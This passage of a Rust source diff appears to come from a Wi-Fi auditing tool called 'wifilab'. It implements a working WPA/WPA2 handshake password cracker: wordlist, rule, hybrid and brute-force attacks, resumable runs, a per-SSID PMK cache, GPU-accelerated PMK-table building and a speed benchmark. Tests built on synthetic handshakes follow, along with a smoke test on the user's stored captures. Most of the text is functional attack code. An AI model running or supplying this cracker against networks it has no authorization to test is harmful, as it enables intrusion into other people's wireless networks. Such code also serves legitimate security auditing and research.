895+ target: &CrackTarget,
896+ attack_desc: &str,
897+ tx: &Sender<Event>,
898+ stop: &Arc<AtomicBool>,
899+) -> CacheConsult {
900+ let path = store::cache_file(target.essid());
901+ if !path.is_file() {
902+ return CacheConsult::Skip;
903+ }
904+ let mut entries = match rainbow::open(&path) {
905+ Ok((ssid, entries)) => match rainbow::check_ssid(ssid.as_deref(), target.essid()) {
906+ Ok(()) => entries,
907+ Err(e) => {
908+ log(tx, format!("pmk cache: unreadable ({e:#}), proceeding without"));
909+ return CacheConsult::Skip;
910+ }
911+ },
912+ Err(e) => {
913+ log(tx, format!("pmk cache: unreadable ({e:#}), proceeding without"));
914+ return CacheConsult::Skip;
915+ }
916+ };
917+ let total = wordlist::line_count(&path).ok().map(|n| n.max(1));
918+ let mut covered: HashSet<Box<[u8]>> = HashSet::new();
919+ // Tee the password out of each entry while rainbow_crack consumes.
920+ let mut teed = std::iter::from_fn(|| {
921+ entries.next().map(|(pmk, pass)| {
922+ covered.insert(pass.clone().into_boxed_slice());
923+ (pmk, pass)
924+ })
925+ });
926+ let mut progress = {
927+ let tx = tx.clone();
928+ move |done: u64, hps: f64| {
929+ send(&tx, Event::CrackProgress { done, hps, total });
930+ }
931+ };
932+ log(tx, "pmk cache: file exists — checking cached PMKs first");
933+ if let Some(pass) = rainbow_crack(target, &mut teed, &mut progress, stop) {
934+ return CacheConsult::Hit(pass);
935+ }
936+ if stop.load(Ordering::Relaxed) {
937+ // Stopped mid-consult: treat as a miss; the main run's stop checks
938+ // produce the canonical "stopped" terminator.
939+ return CacheConsult::Miss(covered);
940+ }
941+ log(tx, format!("pmk cache: {} entries, no hit — continuing {attack_desc}", covered.len()));
942+ CacheConsult::Miss(covered)
943+}
944+
945+/// Start a crack run on a background thread. Always returns the stop flag;
946+/// spawn failure is reported as events instead of a thread. `resume_from`
947+/// skips that many leading candidates (saved position of a previous run —
948+/// a FLATTENED index for rules/hybrid, see [`RuleIter`]/[`HybridIter`]);
949+/// progress events still count from zero of the FULL space. `force_cpu`
950+/// pins the CPU backend (headless CLI `--cpu`) and disables PMK-cache
951+/// writes. Wordlist-family attacks first consult the per-SSID PMK cache
952+/// (`store::cache_file`): hit → the normal found-terminator without a
953+/// main run; miss → cached passwords are skipped via [`CacheSkipIter`].
954+pub fn spawn_crack(
955+ target_desc: String,
956+ target: CrackTarget,
957+ attack: Attack,
958+ resume_from: u64,
959+ tx: Sender<Event>,
960+ force_cpu: bool,
961+) -> Arc<AtomicBool> {
962+ let stop = Arc::new(AtomicBool::new(false));
963+ let stop2 = stop.clone();
964+ let err_tx = tx.clone();
965+ let result = std::thread::Builder::new()
966+ .name("wifilab-crack".into())
967+ .spawn(move || {
968+ if resume_from > 0 {
969+ log(&tx, format!("cracker: resuming at candidate {resume_from}"));
970+ }
971+ // Per-SSID PMK cache consult (wordlist-family only).
972+ let wordlist_family = matches!(
973+ attack,
974+ Attack::Wordlist(_)
975+ | Attack::Rules { .. }
976+ | Attack::Hybrid { .. }
977+ | Attack::Bruteforce { .. }
978+ );
979+ let mut covered: Option<HashSet<Box<[u8]>>> = None;
980+ if wordlist_family {
981+ match consult_cache(&target, &attack.describe(), &tx, &stop2) {
982+ CacheConsult::Hit(password) => {
983+ log(&tx, format!("cracker: PASSWORD found: {password}"));
984+ send(&tx, Event::CrackFound { password });
985+ send(&tx, Event::CrackStopped { found: true });
986+ return;
987+ }
988+ CacheConsult::Miss(c) => covered = Some(c),
989+ CacheConsult::Skip => {}
990+ }
991+ }
992+ // Wrap a candidate stream with the coverage filter from the
993+ // cache consult (when one happened).
994+ fn with_cache<I: Iterator<Item = Vec<u8>> + 'static>(
995+ it: I,
996+ covered: &mut Option<HashSet<Box<[u8]>>>,
997+ ) -> Box<dyn Iterator<Item = Vec<u8>>> {
998+ match covered.take() {
999+ Some(c) => Box::new(CacheSkipIter::new(it, c)),
1000+ None => Box::new(it),
1001+ }
1002+ }
1003+ let found = match &attack {
1004+ Attack::Wordlist(path) => match wordlist::open(path) {
1005+ Ok(mut words) => {
1006+ // Line count is an upper bound (length-filtering
1007+ // only shrinks the space — exactly the "worst
1008+ // case" the ETA promises).
1009+ let total = wordlist::line_count(path).ok();
1010+ skip_n(&mut words, resume_from);
1011+ let mut words = with_cache(words, &mut covered);
1012+ word_crack(&target_desc, &target, &mut words, total, resume_from, &tx, &stop2, force_cpu)
1013+ }
1014+ Err(e) => {
1015+ log_err(&tx, format!("cracker: {e:#}"));
1016+ None
1017+ }
1018+ },
1019+ Attack::Rules { wordlist: wl_path, rules: rules_path } => {
1020+ match (wordlist::open(wl_path), parse_rules(rules_path)) {
1021+ (Ok(words), Ok(rules)) => {
1022+ let n_rules = rules.len() as u128;
1023+ let lines = wordlist::line_count(wl_path).ok();
1024+ // Worst case: every word × every rule.
1025+ let total =
1026+ lines.map(|l| (l as u128).saturating_mul(n_rules).min(u64::MAX as u128) as u64);
1027+ let mut it = RuleIter::new(words, Rc::new(rules));
1028+ // Flattened index resume: a plain skip.
1029+ skip_n(&mut it, resume_from);
1030+ let mut it = with_cache(it, &mut covered);
1031+ word_crack(&target_desc, &target, &mut it, total, resume_from, &tx, &stop2, force_cpu)
1032+ }
1033+ (Err(e), _) => {
1034+ log_err(&tx, format!("cracker: {e:#}"));
1035+ None
1036+ }
1037+ (_, Err(e)) => {
1038+ log_err(&tx, format!("cracker: {e:#}"));
1039+ None
1040+ }
1041+ }
1042+ }
1043+ Attack::Hybrid { wordlist: wl_path, charset, min, max } => {
1044+ match wordlist::open(wl_path) {
1045+ Ok(words) => {
1046+ let mut it = HybridIter::new(words, charset.clone(), *min, *max)
1047+ .expect("validated");
1048+ let lines = wordlist::line_count(wl_path).ok();
1049+ let total = lines.map(|l| {
1050+ (l as u128).saturating_mul(it.per_word() as u128).min(u64::MAX as u128)
1051+ as u64
1052+ });
1053+ // Exact flattened-index resume.
1054+ it.seek_flat(resume_from);
1055+ let mut it = with_cache(it, &mut covered);
1056+ word_crack(&target_desc, &target, &mut it, total, resume_from, &tx, &stop2, force_cpu)
1057+ }
1058+ Err(e) => {
1059+ log_err(&tx, format!("cracker: {e:#}"));
1060+ None
1061+ }
1062+ }
1063+ }
1064+ Attack::Bruteforce { charset, min, max, freq_order } => {
1065+ // validate() runs before spawn; new() cannot fail here.
1066+ let mut brute =
1067+ BruteForce::new(charset.clone(), *min, *max, *freq_order).expect("validated");
1068+ let total = Some(brute.space().min(u64::MAX as u128) as u64);
1069+ // Exact seek (no skipping): O(1) odometer math.
1070+ brute.seek(resume_from);
1071+ let mut brute = with_cache(brute, &mut covered);
1072+ word_crack(&target_desc, &target, &mut brute, total, resume_from, &tx, &stop2, force_cpu)
1073+ }
1074+ Attack::Rainbow(path) => match rainbow::open(path) {
1075+ Ok((ssid, mut entries)) => {
1076+ if let Err(e) = rainbow::check_ssid(ssid.as_deref(), target.essid()) {
1077+ log_err(&tx, format!("cracker: {e:#}"));
1078+ None
1079+ } else {
1080+ let total = wordlist::line_count(path).ok();
1081+ skip_n(&mut entries, resume_from);
1082+ let mut progress = {
1083+ let tx = tx.clone();
1084+ move |done: u64, hps: f64| {
1085+ send(&tx, Event::CrackProgress { done: resume_from + done, hps, total })
1086+ }
1087+ };
1088+ log(
1089+ &tx,
1090+ format!("cracker: rainbow run (precomputed PMKs) — {target_desc}"),
1091+ );
1092+ rainbow_crack(&target, &mut entries, &mut progress, &stop2)
1093+ }
1094+ }
1095+ Err(e) => {
1096+ log_err(&tx, format!("cracker: {e:#}"));
1097+ None
1098+ }
1099+ },
1100+ };
1101+ match found {
1102+ Some(password) => {
1103+ log(&tx, format!("cracker: PASSWORD found: {password}"));
1104+ send(&tx, Event::CrackFound { password });
1105+ send(&tx, Event::CrackStopped { found: true });
1106+ }
1107+ None => {
1108+ if stop2.load(Ordering::Relaxed) {
1109+ log(&tx, "cracker: stopped");
1110+ } else {
1111+ log(&tx, "cracker: candidates exhausted, password not found");
1112+ }
1113+ send(&tx, Event::CrackStopped { found: false });
1114+ }
1115+ }
1116+ });
1117+ if let Err(e) = result {
1118+ send(&err_tx, Event::Error(format!("cracker: spawn failed: {e}")));
1119+ send(&err_tx, Event::CrackStopped { found: false });
1120+ }
1121+ stop
1122+}
1123+
1124+/// Build a rainbow PMK table for `ssid` from a wordlist (PBKDF2 once —
1125+/// GPU when available), so later runs against that SSID are PBKDF2-free.
1126+/// Always ends with exactly one `RainbowBuilt` (entries written so far),
1127+/// preceded by `Error` events on failure.
1128+pub fn spawn_rainbow_build(
1129+ ssid: String,
1130+ wordlist: PathBuf,
1131+ out: PathBuf,
1132+ tx: Sender<Event>,
1133+) -> Arc<AtomicBool> {
1134+ let stop = Arc::new(AtomicBool::new(false));
1135+ let stop2 = stop.clone();
1136+ let err_tx = tx.clone();
1137+ let out2 = out.clone();
1138+ let result = std::thread::Builder::new()
1139+ .name("wifilab-rainbow-build".into())
1140+ .spawn(move || {
1141+ let entries = build_table(&ssid, &wordlist, &out2, &tx, &stop2);
1142+ send(
1143+ &tx,
1144+ Event::RainbowBuilt {
1145+ path: out2.display().to_string(),
1146+ entries,
1147+ },
1148+ );
1149+ });
1150+ if let Err(e) = result {
1151+ send(&err_tx, Event::Error(format!("rainbow: spawn failed: {e}")));
1152+ send(
1153+ &err_tx,
1154+ Event::RainbowBuilt {
1155+ path: out.display().to_string(),
1156+ entries: 0,
1157+ },
1158+ );
1159+ }
1160+ stop
1161+}
1162+
1163+/// The build loop: wordlist batches → PMKs (GPU batch or per-word CPU) →
1164+/// table file. Returns entries actually written.
1165+fn build_table(
1166+ ssid: &str,
1167+ wordlist_path: &PathBuf,
1168+ out: &PathBuf,
1169+ tx: &Sender<Event>,
1170+ stop: &Arc<AtomicBool>,
1171+) -> u64 {
1172+ let mut words = match wordlist::open(wordlist_path) {
1173+ Ok(w) => w,
1174+ Err(e) => {
1175+ log_err(tx, format!("rainbow: {e:#}"));
1176+ return 0;
1177+ }
1178+ };
1179+ let mut table = match rainbow::create(out, ssid) {
1180+ Ok(t) => t,
1181+ Err(e) => {
1182+ log_err(tx, format!("rainbow: {e:#}"));
1183+ return 0;
1184+ }
1185+ };
1186+ let gpu = GpuCracker::try_new();
1187+ log(
1188+ tx,
1189+ match &gpu {
1190+ Some(g) => format!("rainbow: building via GPU ({}) → {}", g.device_name(), out.display()),
1191+ None => format!("rainbow: building via CPU → {}", out.display()),
1192+ },
1193+ );
1194+
1195+ const BATCH: usize = 4096;
1196+ let salt = ssid.as_bytes();
1197+ let total = wordlist::line_count(wordlist_path).ok();
1198+ let mut written = 0u64;
1199+ let started = Instant::now();
1200+ let mut last_tick = started;
1201+ 'outer: loop {
1202+ let mut batch: Vec<Vec<u8>> = Vec::with_capacity(BATCH);
1203+ while batch.len() < BATCH {
1204+ match words.next() {
1205+ Some(w) => batch.push(w),
1206+ None => break,
1207+ }
1208+ }
1209+ if batch.is_empty() {
1210+ break;
1211+ }
1212+ let pmks = match &gpu {
1213+ Some(g) => match g.pmk_batch_gpu(&batch, salt) {
1214+ // Device hiccup even after the internal halving: give up,
1215+ // the partial table stays usable.
1216+ None => {
1217+ log_err(tx, "rainbow: GPU batch failed — table left partial");
1218+ break 'outer;
1219+ }
1220+ Some(p) => p,
1221+ },
1222+ None => batch.iter().map(|w| crypto::pmk(w, salt)).collect(),
1223+ };
1224+ for (pmk, w) in pmks.iter().zip(batch.iter()) {
1225+ if let Err(e) = table.push(pmk, w) {
1226+ log_err(tx, format!("rainbow: write failed: {e:#}"));
1227+ break 'outer;
1228+ }
1229+ written += 1;
1230+ }
1231+ if last_tick.elapsed() > Duration::from_millis(250) {
1232+ last_tick = Instant::now();
1233+ let secs = started.elapsed().as_secs_f64().max(1e-6);
1234+ send(tx, Event::RainbowProgress { done: written, hps: written as f64 / secs, total });
1235+ }
1236+ if stop.load(Ordering::Relaxed) {
1237+ log(tx, "rainbow: build stopped — partial table kept");
1238+ break;
1239+ }
1240+ }
1241+ match table.finish() {
1242+ Ok(n) => n,
1243+ Err(e) => {
1244+ log_err(tx, format!("rainbow: flush failed: {e:#}"));
1245+ written
1246+ }
1247+ }
1248+}
1249+
1250+// ---------------------------------------------------------------------------
1251+// Benchmark — measured H/s for the crack-time estimator
1252+// ---------------------------------------------------------------------------
1253+
1254+/// CPU half of the benchmark: time `crypto::pmk` over candidate-sized
1255+/// batches and report hashes/sec. Runs at least one batch; honors `stop`
1256+/// between batches.
1257+fn bench_cpu(secs: f64, stop: Option<&AtomicBool>) -> f64 {
1258+ const BATCH: u64 = 512;
1259+ let word = b"benchmark1";
1260+ let salt = b"wifilab-bench";
1261+ let started = Instant::now();
1262+ let mut done = 0u64;
1263+ loop {
1264+ for _ in 0..BATCH {
1265+ std::hint::black_box(crypto::pmk(std::hint::black_box(word), salt));
1266+ }
1267+ done += BATCH;
1268+ let elapsed = started.elapsed().as_secs_f64();
1269+ if elapsed >= secs {
1270+ return done as f64 / elapsed.max(1e-6);
1271+ }
1272+ if let Some(s) = stop {
1273+ if s.load(Ordering::Relaxed) {
1274+ return done as f64 / elapsed.max(1e-6);
1275+ }
1276+ }
1277+ }
1278+}
1279+
1280+/// GPU half: batches of 4096 fixed words through the PMK kernel for
1281+/// `secs`; `None` when no adapter exists (or the first dispatch fails —
1282+/// the CPU number is still meaningful then).
1283+fn bench_gpu(secs: f64, stop: Option<&AtomicBool>) -> Option<f64> {
1284+ let g = GpuCracker::try_new()?;
1285+ const BATCH: usize = 4096;
1286+ let batch = vec![b"benchmark1".to_vec(); BATCH];
1287+ let salt = b"wifilab-bench";
1288+ let started = Instant::now();
1289+ let mut done = 0u64;
1290+ loop {
1291+ done += g.pmk_batch_gpu(&batch, salt)?.len() as u64;
1292+ let elapsed = started.elapsed().as_secs_f64();
1293+ if elapsed >= secs {
1294+ return Some(done as f64 / elapsed.max(1e-6));
1295+ }
1296+ if let Some(s) = stop {
1297+ if s.load(Ordering::Relaxed) {
1298+ return Some(done as f64 / elapsed.max(1e-6));
1299+ }
1300+ }
1301+ }
1302+}
1303+
1304+/// Measure crack throughput on this machine for `seconds` per backend:
1305+/// returns `(gpu_hps, cpu_hps)` where the GPU half is `None` without an
1306+/// adapter. Honoring `stop` between batches; `None` stop = run to time.
1307+/// Synchronous — wrap it in [`spawn_benchmark`] for UI use.
1308+#[allow(dead_code)]
1309+pub fn benchmark(seconds: u32) -> (Option<f64>, f64) {
1310+ let secs = seconds.max(1) as f64;
1311+ (bench_gpu(secs, None), bench_cpu(secs, None))
1312+}
1313+
1314+/// Benchmark on a background thread ("wifilab-benchmark"); terminates
1315+/// with exactly one `Event::BenchmarkDone { gpu_hps, cpu_hps }` (on spawn
1316+/// failure: an `Error` plus a zeroed `BenchmarkDone`). Honors the stop
1317+/// flag between batches. The UI guards against running it alongside a
1318+/// crack or rainbow build.
1319+#[allow(dead_code)]
1320+pub fn spawn_benchmark(seconds: u32, tx: Sender<Event>) -> Arc<AtomicBool> {
1321+ let stop = Arc::new(AtomicBool::new(false));
1322+ let stop2 = stop.clone();
1323+ let err_tx = tx.clone();
1324+ let result = std::thread::Builder::new()
1325+ .name("wifilab-benchmark".into())
1326+ .spawn(move || {
1327+ log(&tx, format!("benchmark: measuring crack speed ({seconds}s per backend)"));
1328+ let secs = seconds.max(1) as f64;
1329+ let gpu_hps = bench_gpu(secs, Some(&stop2));
1330+ let cpu_hps = bench_cpu(secs, Some(&stop2));
1331+ send(&tx, Event::BenchmarkDone { gpu_hps, cpu_hps });
1332+ });
1333+ if let Err(e) = result {
1334+ send(&err_tx, Event::Error(format!("benchmark: spawn failed: {e}")));
1335+ send(&err_tx, Event::BenchmarkDone { gpu_hps: None, cpu_hps: 0.0 });
1336+ }
1337+ stop
1338+}
1339+
1340+#[cfg(test)]
1341+mod tests {
1342+ use super::*;
1343+ use crate::common::{HandshakeCapture, MacAddr};
1344+
1345+ fn synthetic_target(ssid: &str, pass: &[u8]) -> CrackTarget {
1346+ let ap: MacAddr = "aa:bb:cc:dd:ee:ff".parse().unwrap();
1347+ let sta: MacAddr = "11:22:33:44:55:66".parse().unwrap();
1348+ let anonce = [0x5a; 32];
1349+ let snonce = [0xc3; 32];
1350+ let key = crypto::pmk(pass, ssid.as_bytes());
1351+ let dk = crypto::ptk(&key, &ap, &sta, &anonce, &snonce);
1352+ // Minimal M2 frame (see gpu::tests::build_eapol_m2 — same layout).
1353+ let mut f = Vec::with_capacity(99);
1354+ f.push(0x02);
1355+ f.push(0x03);
1356+ f.extend_from_slice(&95u16.to_be_bytes());
1357+ f.push(0x02);
1358+ let info: u16 = 0x0100 | 0x0080 | 2;
1359+ f.extend_from_slice(&info.to_be_bytes());
1360+ f.extend_from_slice(&16u16.to_be_bytes());
1361+ f.extend_from_slice(&1u64.to_be_bytes());
1362+ f.extend_from_slice(&snonce);
1363+ f.extend_from_slice(&[0u8; 16]);
1364+ f.extend_from_slice(&[0u8; 8]);
1365+ f.extend_from_slice(&[0u8; 8]);
1366+ f.extend_from_slice(&[0u8; 16]);
1367+ f.extend_from_slice(&0u16.to_be_bytes());
1368+ let m = crypto::mic(&dk, &f, 2);
1369+ CrackTarget::Handshake(HandshakeCapture::new(
1370+ ap,
1371+ sta,
1372+ ssid.to_string(),
1373+ anonce,
1374+ snonce,
1375+ m,
1376+ f,
1377+ 2,
1378+ ))
1379+ }
1380+
1381+ #[test]
1382+ fn bruteforce_order_and_exhaustion() {
1383+ let bf = BruteForce::new(b"ab".to_vec(), 8, 8, false).unwrap();
1384+ let got: Vec<Vec<u8>> = bf.collect();
1385+ assert_eq!(got.len(), 256);
1386+ assert_eq!(got[0], b"aaaaaaaa");
1387+ assert_eq!(got[1], b"aaaaaaab");
1388+ assert_eq!(got[2], b"aaaaaaba");
1389+ assert_eq!(got[255], b"bbbbbbbb");
1390+ }
1391+
1392+ #[test]
1393+ fn bruteforce_length_growth_and_clamp() {
1394+ // Length grows only after the shorter space is exhausted; range is
1395+ // clamped into 8..=63.
1396+ let mut bf = BruteForce::new(b"z".to_vec(), 1, 100, false).unwrap();
1397+ assert_eq!(bf.next().unwrap(), b"zzzzzzzz");
1398+ assert_eq!(bf.next().unwrap(), b"zzzzzzzzz");
1399+ let mut bf = BruteForce::new(b"z".to_vec(), 1, 9, false).unwrap();
1400+ assert_eq!(bf.next().unwrap(), b"zzzzzzzz");
1401+ assert_eq!(bf.next().unwrap(), b"zzzzzzzzz");
1402+ assert_eq!(bf.next(), None);
1403+ }
1404+
1405+ #[test]
1406+ fn bruteforce_rejects_bad_input() {
1407+ assert!(BruteForce::new(Vec::new(), 8, 12, false).is_err());
1408+ assert!(BruteForce::new(b"a".to_vec(), 64, 70, false).is_err());
1409+ assert!(BruteForce::new(b"a".to_vec(), 12, 8, false).is_err());
1410+ }
1411+
1412+ #[test]
1413+ fn bruteforce_seek_lands_exactly() {
1414+ // seek(j) must equal collecting j items — across a length boundary.
1415+ let reference: Vec<Vec<u8>> = BruteForce::new(b"abcde".to_vec(), 8, 9, false).unwrap()
1416+ .take(5usize.pow(8) + 40)
1417+ .collect();
1418+ for j in [0u64, 1, 17, 5u64.pow(8) - 1, 5u64.pow(8), 5u64.pow(8) + 39] {
1419+ let mut bf = BruteForce::new(b"abcde".to_vec(), 8, 9, false).unwrap();
1420+ bf.seek(j);
1421+ let got: Vec<Vec<u8>> = bf.by_ref().take(3).collect();
1422+ let want = &reference[j as usize..(j as usize + 3).min(reference.len())];
1423+ assert_eq!(&got[..want.len()], want, "j={j}");
1424+ }
1425+ // Beyond the space: exhausted.
1426+ let mut bf = BruteForce::new(b"ab".to_vec(), 8, 8, false).unwrap();
1427+ bf.seek(256);
1428+ assert_eq!(bf.next(), None);
1429+ }
1430+
1431+ #[test]
1432+ fn bruteforce_space_matches_stream_count() {
1433+ let bf = BruteForce::new(b"abcd".to_vec(), 8, 9, false).unwrap();
1434+ assert_eq!(bf.space(), 4u128.pow(8) + 4u128.pow(9));
1435+ assert_eq!(bf.count() as u128, 4u128.pow(8) + 4u128.pow(9));
1436+ }
1437+
1438+ #[test]
1439+ fn rainbow_crack_finds_pass() {
1440+ let pass = b"sup3r-secret";
1441+ let target = synthetic_target("parafin", pass);
1442+ let entries: Vec<([u8; 32], Vec<u8>)> = vec![
1443+ (crypto::pmk(b"nope-nope", b"parafin"), b"nope-nope".to_vec()),
1444+ (crypto::pmk(pass, b"parafin"), pass.to_vec()),
1445+ ];
1446+ let mut it = entries.into_iter();
1447+ let stop = Arc::new(AtomicBool::new(false));
1448+ let found = rainbow_crack(&target, &mut it, &mut |_, _| {}, &stop);
1449+ assert_eq!(found.as_deref(), Some("sup3r-secret"));
1450+ }
1451+
1452+ #[test]
1453+ fn build_then_crack_end_to_end() {
1454+ // The exact files the worker threads touch: wordlist in, table out,
1455+ // crack via the table — no GPU required.
1456+ let dir = std::env::temp_dir();
1457+ let wl = dir.join(format!("wifilab-attack-wl-{}", std::process::id()));
1458+ let tbl = dir.join(format!("wifilab-attack-tbl-{}", std::process::id()));
1459+ std::fs::write(&wl, "nope-nope\nsup3r-secret\nalsonope!\n").unwrap();
1460+
1461+ let (etx, erx) = crossbeam_channel::unbounded();
1462+ let stop = Arc::new(AtomicBool::new(false));
1463+ let written = build_table("parafin", &wl, &tbl, &etx, &stop);
1464+ assert_eq!(written, 3);
1465+ let built: Vec<Event> = erx.try_iter().collect();
1466+ assert!(!built.iter().any(|e| matches!(e, Event::Error(_))));
1467+
1468+ let target = synthetic_target("parafin", b"sup3r-secret");
1469+ let (ssid, mut entries) = rainbow::open(&tbl).unwrap();
1470+ rainbow::check_ssid(ssid.as_deref(), target.essid()).unwrap();
1471+ let found = rainbow_crack(&target, &mut entries, &mut |_, _| {}, &stop);
1472+ assert_eq!(found.as_deref(), Some("sup3r-secret"));
1473+
1474+ // Wrong-ssid table must be refused, not silently exhausted.
1475+ let target2 = synthetic_target("othernet", b"sup3r-secret");
1476+ assert!(rainbow::check_ssid(ssid.as_deref(), target2.essid()).is_err());
1477+
1478+ let _ = std::fs::remove_file(&wl);
1479+ let _ = std::fs::remove_file(&tbl);
1480+ }
1481+
1482+ #[test]
1483+ fn spawn_crack_emits_progress_and_terminator() {
1484+ // The full worker contract over the channel: starting a run MUST
1485+ // surface progress and exactly one terminator (the historical bug
1486+ // was a run that looked alive at 0 H/s forever). CPU fallback is
1487+ // fine — the GPU path shares the same word_crack wrapper.
1488+ let dir = std::env::temp_dir();
1489+ let wl = dir.join(format!("wifilab-spawn-wl-{}", std::process::id()));
1490+ std::fs::write(&wl, "wrong-pass1\nsup3r-secret\nwrong-pass2\n").unwrap();
1491+ let target = synthetic_target("parafin", b"sup3r-secret");
1492+ let (etx, erx) = crossbeam_channel::unbounded();
1493+ // force_cpu: deterministic CPU run AND no PMK-cache writes into
1494+ // the real ~/wifilab/cache from a test.
1495+ let _stop = spawn_crack(
1496+ target.describe(),
1497+ target,
1498+ Attack::Wordlist(wl.clone()),
1499+ 0,
1500+ etx,
1501+ true,
1502+ );
1503+ let mut found = None;
1504+ let mut stopped = false;
1505+ let deadline = std::time::Instant::now() + Duration::from_secs(60);
1506+ while !(stopped) && std::time::Instant::now() < deadline {
1507+ match erx.recv_timeout(Duration::from_secs(5)) {
1508+ Ok(Event::CrackFound { password }) => found = Some(password),
1509+ Ok(Event::CrackStopped { found: true }) => stopped = true,
1510+ Ok(Event::CrackStopped { found: false }) => {
1511+ panic!("run ended without finding the planted pass")
1512+ }
1513+ Ok(Event::Error(line)) => panic!("worker error: {line}"),
1514+ Ok(_) => {} // Log/CrackProgress
1515+ Err(_) => panic!("channel silent — no events, no terminator"),
1516+ }
1517+ }
1518+ assert!(stopped, "no terminator within deadline");
1519+ assert_eq!(found.as_deref(), Some("sup3r-secret"));
1520+ let _ = std::fs::remove_file(&wl);
1521+ }
1522+
1523+ #[test]
1524+ #[ignore = "smoke: user's real stored capture + GPU; run on demand"]
1525+ fn smoke_real_stored_capture() {
1526+ let caps = crate::store::load_captures().expect(" ~/wifilab/captures.jsonl");
1527+ let target = caps
1528+ .iter()
1529+ .find_map(|c| match c {
1530+ crate::store::StoredCapture::Handshake(h) => {
1531+ Some(CrackTarget::Handshake(h.clone()))
1532+ }
1533+ _ => None,
1534+ })
1535+ .expect("a stored handshake");
1536+ let ssid = target.essid().to_string();
1537+ eprintln!("smoke target: {}", target.describe());
1538+
1539+ let dir = std::env::temp_dir();
1540+ let wl = dir.join("wifilab-smoke-wl.txt");
1541+ std::fs::write(&wl, "password123\nletmein123\nqwertyuiop1\n").unwrap();
1542+ let tbl = dir.join("wifilab-smoke.pmk");
1543+
1544+ let drain = |erx: &crossbeam_channel::Receiver<Event>, what: &str| {
1545+ let mut saw_progress = false;
1546+ let deadline = std::time::Instant::now() + Duration::from_secs(180);
1547+ loop {
1548+ assert!(std::time::Instant::now() < deadline, "{what}: no terminator");
1549+ match erx.recv_timeout(Duration::from_secs(10)) {
1550+ Ok(Event::CrackProgress { done, hps, .. } | Event::RainbowProgress { done, hps, .. }) => {
1551+ if done > 0 {
1552+ saw_progress = true;
1553+ assert!(hps > 0.0, "{what}: progress with 0 H/s");
1554+ }
1555+ }
1556+ Ok(Event::CrackStopped { found }) => {
1557+ assert!(!found, "{what}: unexpected password match");
1558+ break;
1559+ }
1560+ Ok(Event::RainbowBuilt { entries, .. }) => {
1561+ assert!(entries > 0, "{what}: empty table");
1562+ break;
1563+ }
1564+ Ok(Event::Error(l)) => panic!("{what}: {l}"),
1565+ Ok(_) => {}
1566+ Err(_) => panic!("{what}: channel silence"),
1567+ }
1568+ }
1569+ assert!(saw_progress || what.contains("build"), "{what}: zero progress events");
1570+ };
1571+
1572+ // 1. wordlist run (GPU): the exact stuck path from the bug report.
1573+ let (tx, rx) = crossbeam_channel::unbounded();
1574+ let _s1 = spawn_crack(target.describe(), target.clone(), Attack::Wordlist(wl.clone()), 0, tx, false);
1575+ drain(&rx, "wordlist run");
1576+
1577+ // 2. rainbow build then run (GPU for the build).
1578+ let (tx, rx) = crossbeam_channel::unbounded();
1579+ let _s2 = spawn_rainbow_build(ssid, wl.clone(), tbl.clone(), tx);
1580+ drain(&rx, "rainbow build");
1581+ let (tx, rx) = crossbeam_channel::unbounded();
1582+ let _s3 = spawn_crack(target.describe(), target, Attack::Rainbow(tbl.clone()), 0, tx, false);
1583+ drain(&rx, "rainbow run");
1584+
1585+ let _ = std::fs::remove_file(&wl);
1586+ let _ = std::fs::remove_file(&tbl);
1587+ }
1588+
1589+ #[test]
1590+ fn resume_from_skips_checked_candidates() {
1591+ // wordlist positions: 0 wrong, 1 wrong, 2 TARGET, 3 wrong.
1592+ let dir = std::env::temp_dir();
1593+ let wl = dir.join(format!("wifilab-resume-wl-{}", std::process::id()));
1594+ std::fs::write(&wl, "wrong-pass1\nwrong-pass2\nsup3r-secret\nwrong-pass3\n").unwrap();
1595+ let target = synthetic_target("parafin", b"sup3r-secret");
1596+
1597+ let run = |resume_from: u64| -> (Option<String>, bool) {
1598+ let (etx, erx) = crossbeam_channel::unbounded();
1599+ // force_cpu: keeps the run CPU-deterministic and the real
1600+ // per-SSID PMK cache untouched.
1601+ let _s = spawn_crack(
1602+ target.describe(),
1603+ target.clone(),
1604+ Attack::Wordlist(wl.clone()),
1605+ resume_from,
1606+ etx,
1607+ true,
1608+ );
1609+ let mut pass = None;
1610+ let deadline = std::time::Instant::now() + Duration::from_secs(60);
1611+ loop {
1612+ assert!(std::time::Instant::now() < deadline, "no terminator");
1613+ match erx.recv_timeout(Duration::from_secs(5)) {
1614+ Ok(Event::CrackFound { password }) => pass = Some(password),
1615+ Ok(Event::CrackStopped { found }) => return (pass, found),
1616+ Ok(Event::Error(l)) => panic!("worker error: {l}"),
1617+ Ok(_) => {}
1618+ Err(_) => panic!("channel silent"),
1619+ }
1620+ }
1621+ };
1622+
1623+ // Resume BEFORE the target's position: found.
1624+ assert_eq!(run(2), (Some("sup3r-secret".to_string()), true));
1625+ // Resume past it: exhausted without a match.
1626+ assert_eq!(run(3), (None, false));
1627+ let _ = std::fs::remove_file(&wl);
1628+ }
1629+
1630+ #[test]
1631+ fn validate_catches_missing_files() {
1632+ assert!(
1633+ Attack::Wordlist(PathBuf::from("/definitely/not/here.lst"))
1634+ .validate()
1635+ .is_err()
1636+ );
1637+ assert!(
1638+ Attack::Rainbow(PathBuf::from("/definitely/not/here.pmk"))
1639+ .validate()
1640+ .is_err()
1641+ );
1642+ assert!(
1643+ Attack::Bruteforce { charset: b"01".to_vec(), min: 8, max: 10, freq_order: false }
1644+ .validate()
1645+ .is_ok()
1646+ );
1647+ assert!(
1648+ Attack::Rules {
1649+ wordlist: PathBuf::from("/definitely/not/here.lst"),
1650+ rules: PathBuf::from("/definitely/not/here.rule"),
1651+ }
1652+ .validate()
1653+ .is_err()
1654+ );
1655+ assert!(
1656+ Attack::Hybrid {
1657+ wordlist: PathBuf::from("/definitely/not/here.lst"),
1658+ charset: b"01".to_vec(),
1659+ min: 1,
1660+ max: 2,
1661+ }
1662+ .validate()
1663+ .is_err()
1664+ );
1665+ // Inverted (clamped) hybrid suffix range is refused.
1666+ assert!(HybridIter::validate(b"01", 4, 1).is_err());
1667+ assert!(HybridIter::validate(&[], 1, 2).is_err());
1668+ }
1669+
1670+ #[test]
1671+ fn rule_ops_golden_table() {
1672+ // One row per op, plus a compound multi-op line ("c $1 $9"-style).
1673+ let cases: &[(&str, &[u8], &[u8])] = &[
1674+ (":", b"password1", b"password1"),
1675+ ("l", b"PassWord1", b"password1"),
1676+ ("u", b"PassWord1", b"PASSWORD1"),
1677+ ("c", b"pASSWORD1", b"Password1"),
1678+ ("C", b"Password1", b"pASSWORD1"),
1679+ ("t", b"PassWord1", b"pASSwORD1"),
